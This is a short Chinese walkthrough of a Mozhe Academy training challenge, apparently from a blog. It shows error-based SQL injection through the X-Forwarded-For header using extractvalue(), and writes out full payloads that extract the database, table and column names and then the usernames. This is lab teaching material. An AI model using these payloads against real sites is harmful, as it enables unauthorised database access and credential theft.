题目来源:墨者学院
点进去之后,只有一个登录界面,随便试一个账号密码,抓包。
在头部加上XFF字段:发现能看到自己设置的值

然后开始注入,用的是报错注入函数extractvalue(),第一个参数时XML文档对象的名称,我设置为null,第二个参数是Xpath格式的字符串,原理是在第二个参数传sql注入语句,然后由于不是Xpath格式,就报错,然后语句被执行,得到结果。
构造payload:1.1.1.1'and extractvalue(1,concat(1,(select database()))) and '1'='1,爆库名

构造payload:1.1.1.1'and extractvalue(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) and '1'='1 爆表名

构造payload:1.1.1.1'and extractvalue(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_name='logins'))) and '1'='1 爆字段名

构造payload:1.1.1.1'and extractvalue(1,concat(1,(select GROUP_CONCAT(username) from logins))) and '1'='1爆字段值
发现好像是加密的?换另一个表,也发现username和password字段

构造payload:1.1.1.1'and extractvalue(1,concat(1,(select GROUP_CONCAT(username) from user))) and '1'='1爆字段值

然后就可以登录了
其实只要改变concat里的select语句就可以了,就是普通的报错注入
5583

被折叠的 条评论
为什么被折叠?



